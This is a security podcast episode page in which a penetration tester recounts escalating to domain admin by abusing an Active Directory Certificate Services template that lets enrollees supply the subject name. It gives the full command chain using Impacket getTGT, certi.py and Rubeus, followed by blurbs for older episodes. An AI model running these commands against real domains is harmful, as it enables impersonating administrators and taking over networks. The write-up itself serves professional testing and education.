7MS #501: Tales of Pentest Pwnage - Part 31

7MS #501: Tales of Pentest Pwnage - Part 31

Today we're closing down 2021 with a tale of pentest pwnage - this time with a path to DA I had never had a chance to abuse before: Active Directory Certificate Services! For the full gory details on this attack path, see the Certified Pre-Owned paper from the SpecterOps crew. The TLDR/TLDL version of how I abused this path is as follows:

Run Certify.exe find /vulnerable, and if you get some findings, review the Certified Pre-Owned paper and the Certify readme file for guidance on how to exploit them. In my case, the results I got from Certify showed:

msPKI-Certificates-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT

Reading through the Certify readme, I learned "This allows anyone to enroll in this template and specify an arbitrary Subject Alternative Name (i.e. as a DA)." The Certify readme file walks you through how to attack this config specifically, but I had some trouble running all the tools from my non-domain-joined machine. So I used a combination of Certify and Certi to get the job done. First I started on Kali with the following commands:

sudo python3 /opt/impacket/examples/getTGT.py 'victimdomain.domain/MYUSER:MYPASS' export KRB5CCNAME=myuser.cache sudo python3 ./certi.py req 'victimdomain.domain/MYUSER@FQDN.TO.CERT.SERVER' THE-ENTERPRISE-CA-NAME -k -n --alt-name DOMAIN-ADMIN-I-WANT-TO-IMPERSONATE --template VULNERABLE-TEMPLATE NAME

From that you will get a .pfx file which you can bring over to your non-domain-joined machine and do:

rubeus.exe purge rubeus.exe asktgt /user:DOMAIN-ADMIN-I-WANT-TO-IMPERSONATE /certificate:DOMAIN-ADMIN-I-WANT-TO-IMPERSONATE@victim.domain.pfx /password:PASSWORD-TO-MY-PFX-FILE /domain:victimdomain.domain /dc:IP.OF.DOMAIN.CONTROLLER

And that's it! Do a dir \\FQDN.TO.DOMAIN.CONTROLLER\C$ and enjoy your new super powers!

Episoder(683)

7MS #19: Kioptrix! (audio)

7MS #19: Kioptrix! (audio)

In this episode I talk about a deliciously vulnerable series of VMs called Kioptrix, and how you can use them to sharpen your pentesting skills. Download: 7MS #19: Kioptrix! (audio) Show notes: The Kioptrix series of VMs is here: http://www.kioptrix.com/blog/test-page/ and here: http://vulnhub.com/?q=kioptrix&sort=date-des&type=vm. Got approved for my OSCP training and I start it in a few…

5 Jul 20147min

7MS #18: Wireless Security 101 (audio)

7MS #18: Wireless Security 101 (audio)

In this episode I talk about some wireless security basics that we’re not seeing when out on assessments. Download: 7MS #18: Wireless Security 101 (audio) Show notes: WEP encryption is very, very bad. It’s easy to crack. Don’t use it. Wifite will demonstrate how easy it is to crack WEP. Stronger encryption such as WPA/WPA2…

22 Jun 20147min

7MS #17: How to Pass the Certified Ethical Hacker Exam (audio)

7MS #17: How to Pass the Certified Ethical Hacker Exam (audio)

In this episode I share my experience with EC-Council’s Certified Ethical Hacker training and exam. Download: 7MS #17: How to Pass the Certified Ethical Hacker Exam (audio) Show notes: Here’s info on the CEH training and test outline. I took my CEH training through UFairfax with instructor Leo Dregier. See this post I wrote that…

14 Jun 20147min

7MS #16: PwnPad Initial Impressions – part 2! (audio)

7MS #16: PwnPad Initial Impressions – part 2! (audio)

In this episode I talk about my first-hand experience using the PwnPad for wireless pentesting. Download: 7MS #16: PwnPad Initial Impressions – Part 2 Show notes: In a nutshell: PwnPad is a great tool to simplify/automate some wireless recon and/or hacking! PwnieExpress has a great write-up on mapping APs w/GPS coordinates using Google Earth here:…

31 Mai 20147min

7MS #15: PwnPad Initial Impressions (audio)

7MS #15: PwnPad Initial Impressions (audio)

In this episode I talk about my initial impressions of using the PwnPad for wireless pentesting. Download: 7MS #15: PwnPad Initial Impressions Show notes: Carrying around a Nexus 7 instead of a bulky laptop to do wireless pentesting sure is nice! PwnPad scripts/automates much of the “busy work” to capture WPA handshakes.

24 Mai 20146min

7MS #14: H8 4 Win8 (audio)

7MS #14: H8 4 Win8 (audio)

In this episode I talk about two (sort of) security related tips that I’ve learned by using Windows 8 wrong. Download: 7MS #14: H8 4 Win8 (audio) Show notes: Windows Defender doesn’t seem to auto-update on Win 8 unless you have updates set to auto download/install. I found a nifty script you can add as…

10 Mai 20146min

7MS #13: How to Get Pwned by HP (audio)

7MS #13: How to Get Pwned by HP (audio)

In this episode I talk about how I had to sent my HP laptop in for repair and, to my surprise, it (allegedly) came back with a bonus: malware! Download: 7MS #13: How to Get Pwned by HP (audio) Show notes: My takeaways/recommendations from this experience: See a pic of my FortiClient picking up on…

3 Mai 20147min

7MS #12: Why My Domains Have Gan to Gandi (audio)

7MS #12: Why My Domains Have Gan to Gandi (audio)

In this episode I talk about an account takeover article that freaked me out, and why it changed a few things about how I handle my important online accounts. Download: 7MS #12: Why My Domains Have Gan to Gandi (audio) Show notes: This episode is all about this article (https://medium.com/cyber-security/24eb09e026dd) in which a Twitter user…

28 Apr 20147min

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